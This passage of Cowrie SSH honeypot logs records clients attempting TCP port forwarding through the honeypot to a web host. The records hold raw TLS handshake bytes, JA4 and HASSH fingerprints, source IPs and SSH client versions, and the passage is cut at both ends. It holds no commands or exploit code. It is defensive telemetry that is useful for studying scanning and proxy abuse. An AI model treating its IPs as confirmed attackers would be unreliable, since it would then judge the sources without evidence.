?\\x02O\\xee\\x9c\\xcd\\xceh\\x01.\\x12\\x16\\xcew\\xe6\\xd4\\x91\\xf2o\\xae\\xad\\xa9c\\xe3Yj*\\xed\\xe8\\x96\\xb1(\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa5\\xd0.J[\\xe9\\x90\\x917\\xc9\\x9f\\xd4V\\xbe<\\xe7\\xa9q\\xff\\x9d\\x8e\\xd2J\\x1doL\\xfc|\\x94\\x19\\xa1|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc7\\x82J$\\xa7I4o2\\x83\\xb5C\\xfe\\xddh\\xec\\x80p\\xff8)\\xf4\\xe5\\xed \\x16\\x08\\xe7\\x96S\\xfd\\xcf ?\\x02O\\xee\\x9c\\xcd\\xceh\\x01.\\x12\\x16\\xcew\\xe6\\xd4\\x91\\xf2o\\xae\\xad\\xa9c\\xe3Yj*\\xed\\xe8\\x96\\xb1(\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa5\\xd0.J[\\xe9\\x90\\x917\\xc9\\x9f\\xd4V\\xbe<\\xe7\\xa9q\\xff\\x9d\\x8e\\xd2J\\x1doL\\xfc|\\x94\\x19\\xa1|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.747564Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.752529Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\xc7\\xcc}\\xdb\\x0b\\xdey\\xfb|f\\xa5\\x97}\\xfe\\xfd\\xd0v4Q\\xf8\\x98\\x88\\x87y\\xce\\x9di\\xcf\\x8d]\\xda Q\\xd2nk\\xf9+\\xa4\\xd3\\x87c\\x8c\\xfd\\x9e*XI\\x1f\\xaf\\xe2\\x96$\\xc0\\xdfh\\x94\\xdd\\x9b\\xe7o\\xbdB\\xb9\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xea\\xe6W\\xfe`~J\\xfb\\xe2\\x8a9\\xfa\\xc0\\\\\\xdc%~\\xda#\\xfbe%\\xfe\\x87J\\r\\xacT\\xe5\\xde\\xca\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\xc7\\xcc}\\xdb\\x0b\\xdey\\xfb|f\\xa5\\x97}\\xfe\\xfd\\xd0v4Q\\xf8\\x98\\x88\\x87y\\xce\\x9di\\xcf\\x8d]\\xda Q\\xd2nk\\xf9+\\xa4\\xd3\\x87c\\x8c\\xfd\\x9e*XI\\x1f\\xaf\\xe2\\x96$\\xc0\\xdfh\\x94\\xdd\\x9b\\xe7o\\xbdB\\xb9\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xea\\xe6W\\xfe`~J\\xfb\\xe2\\x8a9\\xfa\\xc0\\\\\\xdc%~\\xda#\\xfbe%\\xfe\\x87J\\r\\xacT\\xe5\\xde\\xca\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.755249Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.813138Z","src_ip":"45.153.34.195","session":"c41dc3d1ffee","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.886071Z","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.989385Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\x0b\\xf6\\x04B\\xb6\\xc3\\'a\\x1aO\\xca\\xf6\\xeb\\x04\\xbd\\xc2\\xa3\\x15\\xbc\\x13Se\\xcbR<Yc\\x9ce\\xd3f N\\xe2\\x14\\xcaM\\x90v\\x8f\\xc8\\xe7k\\x0f\\x95E+\\x0c\\x00\\xa8\\xa9\\xea\\xce`\\xdb\\xb6\\x8f\\xab\\x81\\xa5\\x03{F\\x13\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa13&\\xfd\\x12\\xc6\\xd5\\xaeMq\\xf9\\xd8\\xd3\\xa7}\\xcf|H\\x8d\\xec,E\\xa5I\\xe7\\xb4\\x81;\\x97b\\x84}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\x0b\\xf6\\x04B\\xb6\\xc3\\'a\\x1aO\\xca\\xf6\\xeb\\x04\\xbd\\xc2\\xa3\\x15\\xbc\\x13Se\\xcbR<Yc\\x9ce\\xd3f N\\xe2\\x14\\xcaM\\x90v\\x8f\\xc8\\xe7k\\x0f\\x95E+\\x0c\\x00\\xa8\\xa9\\xea\\xce`\\xdb\\xb6\\x8f\\xab\\x81\\xa5\\x03{F\\x13\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa13&\\xfd\\x12\\xc6\\xd5\\xaeMq\\xf9\\xd8\\xd3\\xa7}\\xcf|H\\x8d\\xec,E\\xa5I\\xe7\\xb4\\x81;\\x97b\\x84}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:48.992983Z","src_ip":"38.46.222.137","session":"51076ec5f589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":19734,"dst_ip":"10.17.0.5","dst_port":22,"session":"efb87e3a0430","protocol":"ssh","message":"New connection: 45.153.34.195:19734 (10.17.0.5:22) [session: efb87e3a0430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:49.858902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:49.862845Z","src_ip":"45.153.34.195","session":"efb87e3a0430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15120,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e5e6f9426b7","protocol":"ssh","message":"New connection: 91.92.40.36:15120 (10.17.0.5:22) [session: 6e5e6f9426b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:50.002491Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:50.075521Z","src_ip":"45.153.34.195","session":"efb87e3a0430","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:28:50.122165Z","src_ip":"91.92.40.36","session":"6e5e6f9426b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v0